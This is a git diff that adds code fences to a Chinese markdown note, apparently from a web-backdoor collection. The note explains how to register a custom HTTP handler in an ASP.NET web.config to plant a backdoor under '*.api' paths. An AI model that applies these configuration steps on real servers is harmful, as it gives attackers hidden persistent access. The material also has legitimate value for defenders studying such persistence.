diff --git a/aspx/httpHandlers_backdoor/httpHandlers.md b/aspx/httpHandlers_backdoor/httpHandlers.md
index fc17d0e..1219d8e 100644
--- a/aspx/httpHandlers_backdoor/httpHandlers.md
+++ b/aspx/httpHandlers_backdoor/httpHandlers.md
@@ -1,14 +1,16 @@
 修改web.config，添加或者修改httpHandlers:
 
+```
   <httpHandlers>
     <add path="*.api" verb="*" type="WooYun.CustomizeHttpHandler"/>
   </httpHandlers>
-  
+```
 如果已经存在 httpHandlers 则在标签内添加，如果<system.webServer>也有配置httpHandlers那么就配置在<system.webServer>里
 
 但是有一点需要特别注意：<system.webServer>里面一定要配置runAllManagedModulesForAllRequests为true,否会启动报错。
-
+```
   <system.webServer>
     <modules runAllManagedModulesForAllRequests="true" />
   </system.webServer>
+```